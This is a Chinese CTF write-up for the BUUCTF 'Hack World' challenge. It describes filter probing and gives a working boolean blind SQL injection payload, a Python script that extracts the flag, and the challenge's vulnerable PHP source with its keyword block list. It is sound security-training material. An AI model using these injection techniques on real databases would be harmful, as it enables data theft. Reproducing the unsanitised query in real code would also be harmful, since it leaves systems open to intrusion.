1. 程式人生 > 其它 >BUUCTF-[CISCN2019 華北賽區 Day2 Web1]Hack World

BUUCTF-[CISCN2019 華北賽區 Day2 Web1]Hack World

BUUCTF-[CISCN2019 華北賽區 Day2 Web1]Hack World WriteUp

知識點

  • 通過簡單注入判斷過濾的字元,再找到合適的注入方法

解題

  • 先開啟頁面,看到flag在表flag裡面的flag欄位裡,底下是一個注入框

  • 先簡單注入一下,看看有什麼回顯

  • 輸入1,2時,會回顯一段字元,輸入3,4等等,會報錯,說明沒有內容了。

  • 肯定會有過濾的,看看過濾了什麼,簡單測試,發現or and union updatexml 空格 %20被過濾了,但是extractvalue沒有被過濾,用()代替空格,報錯注入試一試

  • 回顯的是bool(false),看來只能用布林注入了,構造語句if(substr((select(flag)from(flag)),1,1)='f',1,3)

  • 成功會回顯Hello, glzjin wants a girlfriend. 構造指令碼

  • import requests
    import sys
    
    urlOPEN = "http://8d22ec14-4e35-40f7-a2b2-efbf9c7de729.node4.buuoj.cn:81/index.php"
    mark = "Hello, glzjin wants a girlfriend."
    
    def get_data():
        name=''
        for j in range(1,55):
            for i in range(33,126):
                payload = "if(ascii(substr((select(flag)from(flag)),{0},1))={1},1,3)".format(j,i)
                data = {
                    'id': payload
                }
                r = requests.post(urlOPEN,data=data)
                if mark in r.text:
                    name = name + chr(i)
                    print(name)
                    if chr(i)=='}':
                        print(name)
                        sys.exit()
                    break
    
    get_data()
    
  • 不知道為什麼老是會崩潰,可能是我寫的太垃圾了吧。多執行幾遍就出來了

  • 最後找到了原始碼,一起研究一下

  • <?php
    $dbuser='root';
    $dbpass='root';
    
    function safe($sql){
        #被過濾的內容 函式基本沒過濾
        $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
        foreach($blackList as $blackitem){
            if(stripos($sql,$blackitem)){
                return False;
            }
        }
        return True;
    }
    if(isset($_POST['id'])){
        $id = $_POST['id'];
    }else{
        die();
    }
    $db = mysql_connect("localhost",$dbuser,$dbpass);
    if(!$db){
        die(mysql_error());
    }   
    mysql_select_db("ctf",$db);
    
    if(safe($id)){
        $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
        
        if($query){
            $result = mysql_fetch_array($query);
            
            if($result){
                echo $result['content'];
            }else{
                echo "Error Occured When Fetch Result.";
            }
        }else{
            var_dump($query);
        }
    }else{
        die("SQL Injection Checked.");
    }
    
  • 過濾了update啊,怪不得。stripos()函式,不區分大小寫,不能用大小寫繞過。數字型的注入。確實有一段時間沒有看過sql注入的程式碼了